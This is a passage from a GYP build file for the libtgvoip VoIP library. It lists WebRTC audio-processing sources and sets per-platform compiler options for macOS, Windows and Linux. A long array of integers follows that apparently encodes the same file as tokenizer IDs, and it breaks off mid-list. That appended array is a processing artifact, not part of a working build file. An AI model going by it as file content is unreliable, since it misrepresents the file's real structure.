'<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/include/audio_util.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/wav_header.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/real_fourier_ooura.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/audio_util.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/real_fourier_ooura.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_sse.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/smoothing_filter.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/push_sinc_resampler.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinc_resampler.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/resampler.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinc_resampler_sse.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/include/push_resampler.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/include/resampler.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/push_sinc_resampler.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/push_resampler.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinusoidal_linear_chirp_source.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinc_resampler.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinusoidal_linear_chirp_source.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_factory.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/audio_converter.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/wav_file.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/spl_sqrt_floor/spl_sqrt_floor.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/spl_sqrt_floor/spl_sqrt_floor.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/fft4g/fft4g.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/fft4g/fft4g.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/audio_converter.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/real_fourier.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/channel_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/real_fourier.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/sparse_fir_filter.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/smoothing_filter.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_c.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/ring_buffer.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_c.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/complex_fft_tables.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/complex_fft.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/filter_ma_fast_q12.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/levinson_durbin.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/dot_product_with_scale.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/auto_corr_to_refl_coef.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_by_2_internal.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/energy.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/sqrt_of_one_minus_x_squared.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/downsample_fast.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/splitting_filter1.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/filter_ar_fast_q12.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/spl_init.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/lpc_to_refl_coef.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/cross_correlation.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/include/signal_processing_library.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/include/real_fft.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/include/spl_inl.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/division_operations.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/auto_correlation.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/get_scaling_square.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/dot_product_with_scale.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_by_2_internal.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/min_max_operations.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/refl_coef_to_lpc.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/filter_ar.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/vector_scaling_operations.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_fractional.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/real_fft.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/ilbc_specific_functions.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/complex_bit_reverse.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/randomization_functions.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/copy_set_operations.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_by_2.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/get_hanning_window.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_48khz.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/spl_inl.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/spl_sqrt.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/wav_header.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_sp.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad.cc',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/webrtc_vad.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_core.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/include/vad.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/include/webrtc_vad.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_gmm.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_filterbank.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_core.c',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_sp.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_filterbank.h',
'<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_gmm.c',
# ARM/NEON sources
# TODO check if there's a good way to make these compile with ARM ports of TDesktop
#'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/nsx_core_neon.c',
#'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec/aec_core_neon.cc',
#'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aecm/aecm_core_neon.cc',
#'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft_tables_neon_sse2.h',
#'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft_neon.cc',
#'<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_neon.cc',
#'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinc_resampler_neon.cc',
#'<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/spl_sqrt_floor/spl_sqrt_floor_arm.S',
#'<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_neon.h',
#'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/downsample_fast_neon.c',
#'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/complex_bit_reverse_arm.S',
#'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/include/spl_inl_armv7.h',
#'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/min_max_operations_neon.c',
#'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/cross_correlation_neon.c',
#'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/filter_ar_fast_q12_armv7.S',
],
'libraries': [],
'configurations': {
'Debug': {},
'Release': {},
},
'conditions': [
[
'"<(OS)" != "win"', {
'sources/': [['exclude', '<(tgvoip_src_loc)/os/windows/']],
}, {
'sources/': [['exclude', '<(tgvoip_src_loc)/os/posix/']],
},
],
[
'"<(OS)" != "mac"', {
'sources/': [['exclude', '<(tgvoip_src_loc)/os/darwin/']],
},
],
[
'"<(OS)" != "linux"', {
'sources/': [['exclude', '<(tgvoip_src_loc)/os/linux/']],
},
],
[
'"<(OS)" == "mac"', {
'xcode_settings': {
'CLANG_CXX_LANGUAGE_STANDARD': 'c++11',
'ALWAYS_SEARCH_USER_PATHS': 'NO',
},
'defines': [
'WEBRTC_POSIX',
'WEBRTC_MAC',
'TARGET_OS_OSX',
],
'sources': [
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/logging_mac.mm',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/logging_mac.h',
],
'conditions': [
[ '"<(official_build_target)" == "mac32"', {
'xcode_settings': {
'MACOSX_DEPLOYMENT_TARGET': '10.6',
'OTHER_CPLUSPLUSFLAGS': [ '-nostdinc++' ],
},
'include_dirs': [
'/usr/local/macold/include/c++/v1',
'<(DEPTH)/../../../Libraries/macold/openssl/include',
],
'defines': [
'TARGET_OSX32',
],
}, {
'xcode_settings': {
'MACOSX_DEPLOYMENT_TARGET': '10.8',
'CLANG_CXX_LIBRARY': 'libc++',
},
'include_dirs': [
'<(DEPTH)/../../../Libraries/openssl/include',
],
'direct_dependent_settings': {
'linkflags': [
'-framework VideoToolbox',
],
},
'sources': [
'<(tgvoip_src_loc)/os/darwin/TGVVideoRenderer.mm',
'<(tgvoip_src_loc)/os/darwin/TGVVideoRenderer.h',
'<(tgvoip_src_loc)/os/darwin/TGVVideoSource.mm',
'<(tgvoip_src_loc)/os/darwin/TGVVideoSource.h',
'<(tgvoip_src_loc)/os/darwin/VideoToolboxEncoderSource.mm',
'<(tgvoip_src_loc)/os/darwin/VideoToolboxEncoderSource.h',
'<(tgvoip_src_loc)/os/darwin/SampleBufferDisplayLayerRenderer.mm',
'<(tgvoip_src_loc)/os/darwin/SampleBufferDisplayLayerRenderer.h',
],
}],
['"<(official_build_target)" == "macstore"', {
'defines': [
'TGVOIP_NO_OSX_PRIVATE_API',
],
}],
],
},
],
[
'"<(OS)" == "win"', {
'msbuild_toolset': 'v141',
'defines': [
'NOMINMAX',
'_USING_V110_SDK71_',
'TGVOIP_WINXP_COMPAT',
'WEBRTC_WIN',
],
'libraries': [
'winmm',
'ws2_32',
'kernel32',
'user32',
],
'msvs_cygwin_shell': 0,
'msvs_settings': {
'VCCLCompilerTool': {
'ProgramDataBaseFileName': '$(OutDir)\\$(ProjectName).pdb',
'DebugInformationFormat': '3', # Program Database (/Zi)
'AdditionalOptions': [
'/MP', # Enable multi process build.
'/EHsc', # Catch C++ exceptions only, extern C functions never throw a C++ exception.
'/wd4068', # Disable "warning C4068: unknown pragma"
],
'TreatWChar_tAsBuiltInType': 'false',
},
},
'msvs_external_builder_build_cmd': [
'ninja.exe',
'-C',
'$(OutDir)',
'-k0',
'$(ProjectName)',
],
'configurations': {
'Debug': {
'defines': [
'_DEBUG',
],
'include_dirs': [
'<(DEPTH)/../../../Libraries/openssl/Debug/include',
],
'msvs_settings': {
'VCCLCompilerTool': {
'Optimization': '0', # Disabled (/Od)
'RuntimeLibrary': '1', # Multi-threaded Debug (/MTd)
'RuntimeTypeInfo': 'true',
},
'VCLibrarianTool': {
'AdditionalOptions': [
'/NODEFAULTLIB:LIBCMT'
]
}
},
},
'Release': {
'defines': [
'NDEBUG',
],
'include_dirs': [
'<(DEPTH)/../../../Libraries/openssl/Release/include',
],
'msvs_settings': {
'VCCLCompilerTool': {
'Optimization': '2', # Maximize Speed (/O2)
'InlineFunctionExpansion': '2', # Any suitable (/Ob2)
'EnableIntrinsicFunctions': 'true', # Yes (/Oi)
'FavorSizeOrSpeed': '1', # Favor fast code (/Ot)
'RuntimeLibrary': '0', # Multi-threaded (/MT)
'EnableEnhancedInstructionSet': '2', # Streaming SIMD Extensions 2 (/arch:SSE2)
'WholeProgramOptimization': 'true', # /GL
},
'VCLibrarianTool': {
'AdditionalOptions': [
'/LTCG',
]
},
},
},
},
},
],
[
'"<(OS)" == "linux"', {
'defines': [
'WEBRTC_POSIX',
'WEBRTC_LINUX',
],
'conditions': [
[ '"<!(uname -m)" == "i686"', {
'cflags_cc': [
'-msse2',
],
}]
],
'direct_dependent_settings': {
'libraries': [
],
},
},
],
],
},
],
}
| [
1,
529,
9507,
29958,
1982,
29873,
29887,
1365,
666,
29889,
29887,
1478,
13,
29937,
402,
29979,
29925,
2060,
934,
363,
323,
17600,
13,
13,
29912,
13,
1678,
525,
5182,
29879,
2396,
518,
13,
418,
426,
13,
4706,
525,
5182,
29918,
978,
2396,
525,
1982,
29873,
29887,
1365,
666,
742,
13,
4706,
525,
1853,
2396,
525,
7959,
29918,
5258,
742,
13,
4706,
525,
22594,
2396,
19997,
13,
4706,
525,
1753,
1475,
2396,
518,
13,
3986,
525,
8851,
15176,
9472,
29918,
3301,
29924,
29918,
18525,
29918,
14849,
3580,
29922,
29900,
742,
13,
3986,
525,
29911,
22928,
29949,
5690,
29918,
17171,
29918,
2287,
16033,
29911,
4590,
29918,
29928,
5550,
742,
13,
3986,
525,
8851,
15176,
9472,
29918,
3059,
29918,
29943,
3927,
1299,
742,
13,
4706,
21251,
13,
4706,
525,
20897,
2396,
426,
13,
3986,
525,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
2396,
15300,
742,
13,
3986,
525,
29877,
7880,
29918,
4282,
29918,
5182,
29995,
2396,
15516,
13,
3986,
525,
9389,
29918,
2084,
29918,
26466,
29918,
2856,
29995,
2396,
12801,
29898,
2287,
29925,
4690,
6802,
21546,
6995,
29931,
4626,
4314,
29914,
26466,
29914,
2856,
742,
13,
4706,
2981,
13,
4706,
525,
2856,
29918,
3972,
29879,
2396,
518,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
742,
13,
3986,
12801,
29898,
9389,
29918,
2084,
29918,
26466,
29918,
2856,
29897,
742,
13,
4706,
21251,
13,
4706,
525,
11851,
29918,
18980,
29918,
11027,
2396,
426,
13,
3986,
525,
2856,
29918,
3972,
29879,
2396,
518,
13,
9651,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
29897,
742,
13,
3986,
21251,
13,
4706,
2981,
13,
4706,
525,
15843,
29918,
18980,
29918,
11027,
2396,
19997,
13,
4706,
525,
29879,
2863,
2396,
518,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
7445,
292,
10620,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
7445,
292,
10620,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
29933,
3096,
414,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
29933,
3096,
414,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
29907,
549,
602,
4809,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
29907,
549,
602,
4809,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
29923,
1859,
6028,
3729,
261,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
29923,
1859,
6028,
3729,
261,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
29967,
5171,
7701,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
29967,
5171,
7701,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
21027,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
21027,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
10572,
3835,
3112,
29888,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
10572,
3835,
3112,
29888,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
11746,
375,
6185,
6119,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
11746,
375,
6185,
6119,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
11746,
375,
8566,
6119,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
11746,
375,
8566,
6119,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
7097,
292,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
29963,
29877,
5690,
2956,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
29963,
29877,
5690,
4782,
2956,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
29963,
29877,
5690,
2956,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
25207,
3206,
1475,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
29963,
29877,
5690,
6004,
3991,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
29963,
29877,
5690,
6004,
3991,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
18494,
29914,
17111,
4290,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
18494,
29914,
17111,
4290,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
18494,
29914,
17111,
6466,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
18494,
29914,
17111,
6466,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
18494,
29914,
1666,
314,
20069,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
18494,
29914,
1666,
314,
20069,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
13724,
11373,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
13724,
11373,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
16638,
300,
1123,
465,
1590,
1358,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
16638,
300,
1123,
465,
1590,
1358,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
3728,
4899,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
3728,
4899,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
18494,
29914,
17111,
5971,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
18494,
29914,
17111,
5971,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
9641,
29914,
29903,
1037,
314,
29907,
549,
602,
2956,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
9641,
29914,
29903,
1037,
314,
29907,
549,
602,
2956,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
9641,
29914,
15167,
4435,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
9641,
29914,
15167,
4435,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
9641,
29914,
15167,
21323,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
9641,
29914,
15167,
21323,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
9641,
29914,
15167,
16638,
300,
29615,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
9641,
29914,
15167,
16638,
300,
29615,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
9641,
29914,
15167,
29943,
11206,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
9641,
29914,
15167,
29943,
11206,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
3126,
29896,
29896,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
3126,
29896,
29896,
29889,
29623,
742,
13,
13,
3986,
396,
3852,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
10499,
29914,
13724,
11373,
17734,
21852,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
10499,
29914,
13724,
11373,
17734,
21852,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
10499,
29914,
17111,
4290,
29956,
1351,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
10499,
29914,
17111,
4290,
29956,
1351,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
10499,
29914,
17111,
6466,
29956,
1351,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
10499,
29914,
17111,
6466,
29956,
1351,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
10499,
29914,
17111,
6466,
29956,
3289,
8787,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
10499,
29914,
17111,
6466,
29956,
3289,
8787,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
10499,
29914,
17111,
4290,
29956,
3289,
8787,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
10499,
29914,
17111,
4290,
29956,
3289,
8787,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
10499,
29914,
7685,
10299,
928,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
10499,
29914,
7685,
10299,
928,
29889,
29882,
742,
13,
13,
3986,
396,
5825,
3267,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
17111,
4290,
17111,
8325,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
17111,
4290,
17111,
8325,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
17111,
6466,
17111,
8325,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
17111,
6466,
17111,
8325,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
17111,
4290,
17111,
8325,
3267,
29990,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
17111,
4290,
17111,
8325,
3267,
29990,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
17111,
6466,
17111,
8325,
3267,
29990,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
17111,
6466,
17111,
8325,
3267,
29990,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
17111,
8325,
5971,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
17111,
8325,
5971,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
29928,
279,
5080,
10299,
928,
29889,
4317,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
29928,
279,
5080,
10299,
928,
29889,
29882,
742,
13,
13,
3986,
396,
8074,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
9389,
29914,
17111,
4290,
1964,
8132,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
9389,
29914,
17111,
4290,
1964,
8132,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
9389,
29914,
17111,
6466,
1964,
8132,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
9389,
29914,
17111,
6466,
1964,
8132,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
9389,
29914,
17111,
6466,
29925,
19994,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
9389,
29914,
17111,
6466,
29925,
19994,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
9389,
29914,
17111,
4290,
29925,
19994,
29889,
8223,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
9389,
29914,
17111,
4290,
29925,
19994,
29889,
